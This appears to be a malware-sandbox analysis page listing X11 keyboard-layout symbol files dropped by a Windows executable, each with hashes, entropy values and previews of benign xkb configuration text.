Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\pt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4268
Entropy (8bit):	4.849883271656792
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNaI3e482tMcDSVJlqKr:HtSQHV9cF51mrxcIWCMvVJld
MD5:	11E72A515227E302BF0ED11CCF741471
SHA1:	649310BFBCC7F835F811A0146C64DDF246D22B64
SHA-256:	1E5A7FB3D26611BBC161DE2D849374FDA4161DD8828601127598EAA26364A1E0
SHA-512:	A0D84FAC1A791B95B3142493296381C24F29CC932BC0942248DFFE4BBEAC40374BF7E35F9A99A747D1F3F65BFD8650AA5FF299C61A5C865565D9F45FFB96D554
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\ro

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6052
Entropy (8bit):	4.491610069957734
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNa3w32kHBpBdrLRIu:HtSQHV9cF51mrxcg32kHvrqu
MD5:	C3BA64F23AF9772E33249F5CCDF82B0C
SHA1:	421980D8F4E708BA9AC5DD83FEDE6E8E9FD68D31
SHA-256:	A4643BFBECCCE45FE5DFEFA6FF2E6BE29B9ACF1B41D0A07C09320B355A3E6B0B
SHA-512:	E8F7240E1B02F7F10236083DE9DD2F5227684E07AC2B594111DD8BF71466350ED9DDC5D6A342F046493157CE8A1755D2EC46189D35BA611088B3CFCBF00BED32
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\ru

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6393
Entropy (8bit):	5.205581931335346
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNmFSd1efQg0Kil3cXskpQQwxP:HtSQHV9cF51mrxuSdWQg0Kil3cjpQ/R
MD5:	2A3797A49FC26FB708D0ACB9053DE8F7
SHA1:	64E9A0B0E656D00E9E087D7D7124C98041FEF360
SHA-256:	6AD4F1D69980FFE3FECB6C91A1A6755228ABB1EABC8A25F50F2C1C9186A4249F
SHA-512:	4E59B165A41EC8D9867CB9E92E53638FA0AB3D42F15F5AE018536FFE0470ABC241B43D75D27E7B85F7DE4E0D3727F880A9B4C2AE3A510FF66E3F460F5A99BB40
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\se

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4081
Entropy (8bit):	4.8791027368213
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNakXe2bM09g2sB5D:HtSQHV9cF51mrxclSM0O2sf
MD5:	63A100899A9F1E7688713231235555FE
SHA1:	64ABB9D98BA3D9972F76E32AB2D97A7047734632
SHA-256:	EB0076BFC3DAEB77E49C35821AE1C378A90F2A165F4ED61A7B8A3549EF6C9E27
SHA-512:	BE87749D29E8EA39E4BF55DD648D93B5F62DEBBA376824904290765EBB8900F989B219310F461C104C37543CFA30E7B87753F85D1A2226488F59C128B7D54980
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\sk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5194
Entropy (8bit):	4.652923177605544
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNa/P4z7qiKIb0P8NsCPTo:HtSQHV9cF51mrxc/P4fqwtskTo
MD5:	88514EC50F350281D322E05D728BE091
SHA1:	1AC1FD8E01F3FB3FA7BA09EF8DD71D2E4F379C62
SHA-256:	46D86579CAC4FB39467510E1017CCC8B8F161D1FC63BBA016FAB010C0FD3F493
SHA-512:	DE61B79E282111EDB243087B4B47B5AB12467832DDEC277AF1AD773FFDB30FF94A0B1666B16ADEC9056B6081E04DE3A235AD56F75DC216D0088FF9FF0C184A0D
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\solaris

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4304
Entropy (8bit):	4.993631585741602
Encrypted:	false
SSDEEP:	96:HtRPIa23JQHG49cF51eprxNqb6i4o2dQYISbH:HtyQHV9cF51grxji4uSbH
MD5:	464E562DB9B80AEFE5029B8EAD846871
SHA1:	2FD263C6506D34AE765EB99D072BE95BB07B61CA
SHA-256:	7B066E9FB3EEDB659E80AA7FB49781CD578400CA8EDE3E9D90F7604E0303C283
SHA-512:	AAF80A31F2F651B96A09FD1F13FDAF05546791D060D9B128B1FFEA6FEA0934A697408F2DAD9C4B524DB17B12D8C1B6EC726FAFB96DDE93A66AC2945B07CF4AD1
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..//.// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOLD

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\tr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4212
Entropy (8bit):	5.041037762115468
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNii2LPb2UVgb:HtSQHV9cF51mrxcvPr6
MD5:	16F8BCB4A60BAB349C0B9CED93C23B39
SHA1:	2C4A1FB6CFACC19AA49B71FBE29B9BDA60639011
SHA-256:	901F7879690DA58E23677B4D56589DD0B11276F479F0BCAEA4C648191C1F981E
SHA-512:	6A15B3CBB75D11DE7EF58F6BE182F8917FBBCA257AC3AB1034CBB3AC644C62B1127E3616AC3BA4ADF3B515705456450EE54D8312AB64CD23E752EBA72EF3C2FD
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\tw

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2186
Entropy (8bit):	5.244871710270514
Encrypted:	false
SSDEEP:	48:HtIDQJrxPvAatgBZt9QHQssoIE9cxrSmHF3eNrxNYeXMh:HtRPIa23fQHG49cF51eNrxNsh
MD5:	1821D1414FFAFD8C114521F63C8A8F2B
SHA1:	1F57A531797CB9CBA66398772295440641DC8587
SHA-256:	A1A7FDA154271E2925EC8656140FAD5E1504E4389AF8D74B47D03C9538BB1BEE
SHA-512:	537A0766B462BA813DEF94B99D2BB1D2F86F45C1972AFBB4329404FDD5E7C4E9783C97D60EBF377E7F75BCECC7FD5666F5D49EAD430656C271EACF2D0ED5C061
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\ua

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5624
Entropy (8bit):	5.2371903760032845
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNahOg60JKz8w0aVU:HtSQHV9cF51mrxcoYJKz8b5
MD5:	32D3E9C5F38883070EA90DD0EAC0BBC5
SHA1:	24B2D0C03C3DD4F1BD1026A7BE1279E2E503CF92
SHA-256:	8D40A585CE575AE160301B5D9C30C5CF9147B46530079F9E0363C168E055B60E
SHA-512:	BE4A85F44A8DDE27694D9B799D26D69AF3DD3E4DA60673F525F1C1E024A5650C173ABABEFE94958C2294EFBD5366A10963B8039C074322A14AA57FD73399271B
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\us

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4523
Entropy (8bit):	5.272223714870923
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNTR1fcT76ort:HtSQHV9cF51mrx1R6Z
MD5:	4F13D74D3C1158DCF24237D4FA7E4820
SHA1:	D5A8835B48F0EE37C66A9922C4DBC0C7A16AB2F5
SHA-256:	B2C20D5E78633AEEB4F6E1D7B3AA9F11071E45341F285F41F2CE6F6746FCA2A1
SHA-512:	EFF09368CE9A03DC3F89637F14A61655D2729BDC8429DC030046CE54FD204FE5C8730DFB1FAE7E537F9780FB02D297F896AFE8F36BE0D0E86AD4964E14D93B42
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sy

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7077
Entropy (8bit):	4.680959692718532
Encrypted:	false
SSDEEP:	192:RDULi70oqZlkY7sIV5VtskGiAe5b370ziwp+4yjjaECr4t+TeEJW0y1kI4Z3Li74:RDoXValjjwqgTftbi/L
MD5:	2FA3A9AD3B8B9C21EA10DD1437057D12
SHA1:	190B04ED0C17E953123DC9E724E3FF9A78E45F35
SHA-256:	F49EFFF10BDF3821488BC1835FB10CF21E1CFDFE1B6AF29B3430CAEAC4ECD846
SHA-512:	D0EEAFF61CCAC28A00C1A06BA72E66E353CC5D212C569579616C2055FCD46C11B484B1A27CEFBFE328EFF96A41CFF78262FCC71260C819E3F043D8249B791E66
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {. include "ara(basic)". name[Group1]= "Arabic (Syria)";.};..partial alphanumeric_keys.xkb_symbols "syc" {. name[Group1]= "Syriac";.. key <TLDE> { [ .0x100070F,.0x100032E,.Arabic_shadda..] };. key <AE01> { [ .1,..exclam,..0x1000701..] };. key <AE02> { [ .2,..0x100030A,.0x1000702..] };. key <AE03> { [ .3,..0x1000325,.0x1000703..] };. key <AE04> { [ .4,..0x1000749,.0x1000704..] };. key <AE05> { [ .5,..0x1002670,.0x1000705..] };. key <AE06> { [ .6,..0x1002671,.0x1000708..] };. key <AE07> { [ .7,..0x100070A,.0x1000709..] };. key <AE08> { [ .8,..0x10000BB,.0x100070B..] };. key <AE09> { [ .9,..parenright,.0x100070C..] };. key <AE10> { [ .0,..parenleft,.0x100070D..] };. key <AE11> { [ .minus,..0x10000AB,.0x100250C..] };. key <AE12> { [ .equal,..plus,..0x1002510..] };.. key <AD01> { [ .0x1000714,.0x1000730,.Ara

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\terminate

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	200
Entropy (8bit):	4.7796348379428375
Encrypted:	false
SSDEEP:	6:NgY0d0NRZ6Em7RFdmWI/4vaMMMuNDiFFQwzv:apdcZ6FdmWIUUJm9
MD5:	6CC0A9247A55CFCFB19D7BCA5A9C748F
SHA1:	01BF1E032766F236FE962B9F8389202C3894ECB2
SHA-256:	5EC883CC1BA9F11C089F9829E66F9B434E69E8A62943D256503E85CD76918832
SHA-512:	C4F16C9B513D464FD6BB99A50EAF1171780CE454B19260F0E4651BAFEFCE94088E1BAEBD5B20D65786E39F985B026FC8EBA838DCD7904569810201AD2FF4A26B
Malicious:	false
Preview:	default partial modifier_keys.xkb_symbols "ctrl_alt_bksp" {. key <BKSP> {. type="CTRL+ALT",. symbols[Group1] = [ NoSymbol, NoSymbol, NoSymbol, NoSymbol, Terminate_Server ]. };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\th

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10402
Entropy (8bit):	4.963134932574765
Encrypted:	false
SSDEEP:	192:fsLFSwOFsJZ2/38qN1yj2xTiO4e2WUWmjLiYf:fsZSwOSJYv8QS2xTiveBUWmjLiYf
MD5:	2C7F9BDB3B17B48BE5F1F2864E4F7266
SHA1:	23E0AA1D8DAC0FE430B74ADAA89739D707318B4B
SHA-256:	30B5D05BCB0728F61488AC98F170AB22AA56C27EF86CA7C08B470E5CE1850F2D
SHA-512:	5728D815D4ADC1E783B52F33E1AD81C397E21D3A5C54843C85468FE8E52ACB49A5F32BAB63E1A62DECAED208479F01A98496EB809348683D4AE65CF98FF288A9
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/th' file..default partial alphanumeric_keys.xkb_symbols "basic" {. name[Group1]= "Thai";.. // converted to THai keysysms - Pablo Saratxaga <pablo@mandrakesoft.com>.. key <TLDE> { [ underscore,..percent..].};. key <AE01> { [ Thai_lakkhangyao,.plus..].};. key <AE02> { [ slash,..Thai_leknung.].};. key <AE03> { [ minus,..Thai_leksong.].};. key <AE04> { [ Thai_phosamphao,.Thai_leksam.].};. key <AE05> { [ Thai_thothung,.Thai_leksi.].};. key <AE06> { [ Thai_sarau,..Thai_sarauu.].};. key <AE07> { [ Thai_saraue,..Thai_baht.].};. key <AE08> { [ Thai_khokhwai,.Thai_lekha.].};. key <AE09> { [ Thai_totao,..Thai_lekhok.].};. key <AE10> { [ Thai_chochan,.Thai_lekchet.].};. key <AE11> { [ Thai_khokhai,.Thai_lekpaet.].};. key <AE12> { [ Thai_chochang,.Thai_lekkao.].};.. key <AD01> { [ Thai_maiyamok,.Thai_leksun.].};. key <AD02> { [ Thai_saraaimaimalai,.quotedbl.].};. key <AD03> { [ Thai_saraam,..Thai_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\tj

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	10428
Entropy (8bit):	3.9728535161309573
Encrypted:	false
SSDEEP:	96:KlAH4EIaGwqCHjrTTA/ITpTu5H6lwfz4tWaGCCHjG4pTA/ITpTjY:jHPgGrTTAopTu5zbStGG4pTAopTjY
MD5:	8A7A7D385BE80A10DF61437384C81A2C
SHA1:	B066D0460334F641D18C120DB86C99F5870CF136
SHA-256:	739A9F6378804992E6F2E0BB5CFF15C4057FB45B7BC527D0C08EACB0DA73F9D3
SHA-512:	9C06D1539482841C006E284545AB8FD1E459734F8B48608587984B618489334CD6DB3C8DC4B019099331589BD3C830EAF57390469210C7F127DE3C2825617303
Malicious:	false
Preview:	// 17/07/2008.// -------------------------------------------------------------.// Standard Tojiki Keyboard Layout, Official Standard.// -------------------------------------------------------------.// Created by Victor Ibragimov <victor.ibragimov@gmail.com>.// Tajik Fedora & Software Localization Team.// -------------------------------------------------------------.// DUAL INPUT METHOD.// --------------------------------------------------------------------.// -------------- Tajiki Official Keyboard Layout----------------------.// --------------------------------------------------------------------.//..default partial alphanumeric_keys.xkb_symbols "basic".{..name[Group1] = "Tajik";.. .include "kpdl(comma)"..include "level3(ralt_switch)"...key <AB01> { [ Cyrillic_ya, Cyrillic_YA ] }; // . . ..key <AB02> { [ Cyrillic_che, Cyrillic_CHE ] }; // . . ..key <AB03> { [ Cyrillic_es, Cyr

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\tm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1335
Entropy (8bit):	5.02671508460061
Encrypted:	false
SSDEEP:	24:OmsNyYiaj8awhZ9l4bDrfq6kQFVx0kUbDas8I1YH1egiaYASSgQwL5goJwQyTsVV:BsIYiva6OjfqfQ+WkYzibcghGcwnIf
MD5:	3006E749B35DCD987A7AD5E32842E05B
SHA1:	B77523784321DB758C5407FD80896104CC623477
SHA-256:	3BD507B0F2372A2CAEFF56E5A25DEAC6AF24C4C9D4ACAD638E2234E5E6A3B468
SHA-512:	FFB1A74A763B43B984D9CBB6216C14B2684A9D705459AFA1DDD10E88CEF5FE1A31EE9AE4F480C2263E8971632EA194C6CE0D4227AB57D7C90879F7D841A9C377
Malicious:	false
Preview:	// Nazar Annagurban <nazar_xg@hotmail.com>, 2009..// Default layout (based on Vista Turkmen layout).default partial.xkb_symbols "basic" {. name[Group1]="Turkmen";. . include "us". key <TLDE> {.[ zcaron, .Zcaron,..grave,.asciitilde.].};.. key <AD01> {.[ adiaeresis, .Adiaeresis,.q,.Q .].};. key <AD11> {.[ ncaron, .Ncaron,..bracketleft,.braceleft.].};. key <AD12> {.[odiaeresis, .Odiaeresis, .bracketright,.braceright.].};.. key <AB02> {.[udiaeresis, .Udiaeresis,.x,.X.].};. key <AB03> {.[ ccedilla, .Ccedilla,.c,.C.].};. key <AB04> {.[ yacute, .Yacute, .v,.V.].};.. key <BKSL> {.[ scedilla, .Scedilla,.backslash, bar.].};.. include "level3(ralt_switch)".};..// Turkmen Alt-Q Layout.// This layout provides turkmen letter via the AltGr key.partial.xkb_symbols "alt" {. name[Group1]="Turkmen (Alt-Q)";.. include "us".. key <AD06> {.[. y,.Y,.yacute,..Yacute..].};. key <AD07> {.[. u,.U,.udiaeresis,.Udiaeresis.].};. key <AD09> {.[

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\tr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	16509
Entropy (8bit):	4.5834648460404175
Encrypted:	false
SSDEEP:	192:QtDMBJ532I5Lo02GHLMJdFe9Le1kCS0vgnB/GowbqSDg69xr3:QWBLGI32QadFeFe1FS0oeowb1D7r3
MD5:	3DA58D2469908CAF0AFF684F06EBBC5A
SHA1:	05A9FC77069775A9B79A623250568518C3D46432
SHA-256:	4486DDCCF83849A5760E64E30711A8EFE2C547BB85957FC65A3C57B7253B49CB
SHA-512:	7FE83B5D2317095785DF68A70683DD81F7428498ED3A5CE9145CE6591EE73FD4C6263F9933DA6BA0B11C77919BFA625BF57FF3D4D05A408677B02C979E595024
Malicious:	false
Preview:	// based on.// Turkish keyboard symbols for PC and xkb.// This file distributed without any expressed or implied warranty.// Nilg.n Belma Bug.ner <nilgun@belgeler.org>, 2005..//Default Layout (Turkish Q).default partial.xkb_symbols "basic" {.. include "latin".. name[Group1]="Turkish";.. key <AE01>.{ [ 1, exclam, greater, exclamdown ] };. key <AE02>.{ [ 2, apostrophe, sterling, twosuperior ] };. key <AE03>.{ [ 3, asciicircum, numbersign, threesuperior ] };. key <AE04>.{ [ 4, plus, dollar, onequarter ] };. key <AE06>.{ [ 6, ampersand, threequarters, VoidSymbol ] };. key <AE07>.{ [ 7, slash, braceleft, VoidSymbol ] };. key <AE08>.{ [ 8, parenleft, bracketleft, VoidSymbol ] };. key <AE09>.{ [ 9, parenright, bracketright, plusminus ] };. key <AE10>.{ [ 0, equal, braceright, degree ] };. key <AE11>.{ [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\tw

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3306
Entropy (8bit):	4.3032946323826415
Encrypted:	false
SSDEEP:	48:Sqk95HIyqfiCKYGY4DBEAxoPHXSfc9Lxpu7kDirapxAq1FIdk3GIeD:zKFHE3OVT6jn2rGZ1FIu3leD
MD5:	FA4F2B53B62A3466794F4968C97C6A27
SHA1:	9ED81ABD4B75B9FEE483545E6AE6D3A4ECE9F41E
SHA-256:	D2470121E2C5408A4265808CDA6660BCC2097A03E41EAA0770539C4BCDB664C1
SHA-512:	E0D1877BDCD31D210EADDCD7ED05E6823A83F41275A802024362FA848EBD86008E4BA7303A4E3B5EEAFE65561E7D92B1F33347F12CE6F385EA24F563FA294D04
Malicious:	false
